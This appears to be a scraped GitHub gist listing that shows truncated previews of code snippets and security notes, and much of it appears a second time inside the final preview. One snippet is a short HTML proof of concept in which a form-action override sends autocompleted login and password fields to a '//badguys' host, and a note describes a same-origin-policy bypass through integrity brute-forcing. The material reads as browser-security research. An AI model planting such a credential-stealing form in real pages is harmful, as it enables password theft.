Krzysztof Kotowicz koto

## gist:e52022050e2828ee40bb

/**
 * Imports a public key to the key server.
 * @param {!e2e.openpgp.block.TransferablePublicKey} key The ASCII
 *    armored or {e2e.openpgp.block.TransferablePublicKey} key to import.
 * @return {!e2e.async.Result.<boolean>} True if importing key is succeeded.
 */
e2e.openpgp.KeyClient.prototype.importPublicKey = function(key) {
  var uids = key.getUserIds();
  if (uids.length != 1) {

## gist:538857
Misia jest cudowna :*

## gist:588252
import java.io.UnsupportedEncodingException;
import java.security.GeneralSecurityException;

import javax.crypto.Cipher;
import javax.crypto.spec.DESedeKeySpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

/**
 * Helper class for encrypting and decrypting payloads using arbitrary string passphrases.

## gist:588253
import java.io.UnsupportedEncodingException;
import java.security.GeneralSecurityException;

import javax.crypto.Cipher;
import javax.crypto.spec.DESedeKeySpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

/**
 * Helper class for encrypting and decrypting payloads using arbitrary string passphrases.

## arrays.php
<?php

// prepare options
$a = array(
      'top 1' => array(
          'sub 1' => 100,
          'sub 2' => array('sub sub 1' => 101, 'sub sub 2' => 102),
      ),
      'top 2' => 103
     );

## gist:1502692
<form action="//same-origin">
<input name=login>
<input name=password type=password>
.<!-- this will probably be autocompleted -->
<button type=submit form-action="//badguys">clickme</button>
</form>

## rsync_backup
#!/bin/sh

PROG=$0
# use macports rsync 3.x - Apple's 2.6 hung on sockets
RSYNC="/opt/local/bin/rsync"
SRC="/"
DST="/Volumes/Backup/"
FILEVAULT_ACCT="Users/yourusername"

# rsync options

## credtest.php
<html>
<a id=a href="http://<?php

$blacklist = ':@#"?`/\\';

for ($i = 33; $i < 255; $i++) {
  if (strpos($blacklist, chr($i)) !== false) {
		echo urlencode(chr($i));
	} else
	//echo urlencode(chr($i));

## gist:8678570
http://w3c.github.io/webappsec/specs/subresourceintegrity/

issues:

"3.3.2 Is resource eligible for integrity validation

In order to mitigate an attackers ability to read data cross-origin by brute-forcing values via integrity checks, resources are only eligible for such checks if they are same-origin, publically cachable, or is the result of a granted the loading origin explicit access via CORS. [CORS] The following algorithm details these restrictions:"

publically cacheable != attacker could could read them anyway. For example - cross origin intranet resources. What if intranet resource is publicly cacheable? still allows for bruteforcing intranet resource body from internet (SOP bypass)

## xssdetect.js
var page = require('webpage').create(),
    system = require('system'),
    address;

page.onInitialized = function () {
    page.evaluate(function () {
        // additional detection code here perhaps
        // f.e. detecting STORED/DOM XSS

    });

	/**
	* Imports a public key to the key server.
	* @param {!e2e.openpgp.block.TransferablePublicKey} key The ASCII
	* armored or {e2e.openpgp.block.TransferablePublicKey} key to import.
	* @return {!e2e.async.Result.<boolean>} True if importing key is succeeded.
	*/
	e2e.openpgp.KeyClient.prototype.importPublicKey = function(key) {
	var uids = key.getUserIds();
	if (uids.length != 1) {
	import java.io.UnsupportedEncodingException;
	import java.security.GeneralSecurityException;

	import javax.crypto.Cipher;
	import javax.crypto.spec.DESedeKeySpec;
	import javax.crypto.spec.IvParameterSpec;
	import javax.crypto.spec.SecretKeySpec;

	/**
	* Helper class for encrypting and decrypting payloads using arbitrary string passphrases.
	<?php

	// prepare options
	$a = array(
	'top 1' => array(
	'sub 1' => 100,
	'sub 2' => array('sub sub 1' => 101, 'sub sub 2' => 102),
	),
	'top 2' => 103
	);
	<form action="//same-origin">
	<input name=login>
	<input name=password type=password>
	.<!-- this will probably be autocompleted -->
	<button type=submit form-action="//badguys">clickme</button>
	</form>
	#!/bin/sh

	PROG=$0
	# use macports rsync 3.x - Apple's 2.6 hung on sockets
	RSYNC="/opt/local/bin/rsync"
	SRC="/"
	DST="/Volumes/Backup/"
	FILEVAULT_ACCT="Users/yourusername"

	# rsync options
	<html>
	<a id=a href="http://<?php

	$blacklist = ':@#"?`/\\';

	for ($i = 33; $i < 255; $i++) {
	if (strpos($blacklist, chr($i)) !== false) {
	echo urlencode(chr($i));
	} else
	//echo urlencode(chr($i));
	http://w3c.github.io/webappsec/specs/subresourceintegrity/

	issues:

	"3.3.2 Is resource eligible for integrity validation

	In order to mitigate an attackers ability to read data cross-origin by brute-forcing values via integrity checks, resources are only eligible for such checks if they are same-origin, publically cachable, or is the result of a granted the loading origin explicit access via CORS. [CORS] The following algorithm details these restrictions:"

	publically cacheable != attacker could could read them anyway. For example - cross origin intranet resources. What if intranet resource is publicly cacheable? still allows for bruteforcing intranet resource body from internet (SOP bypass)
	var page = require('webpage').create(),
	system = require('system'),
	address;

	page.onInitialized = function () {
	page.evaluate(function () {
	// additional detection code here perhaps
	// f.e. detecting STORED/DOM XSS

	});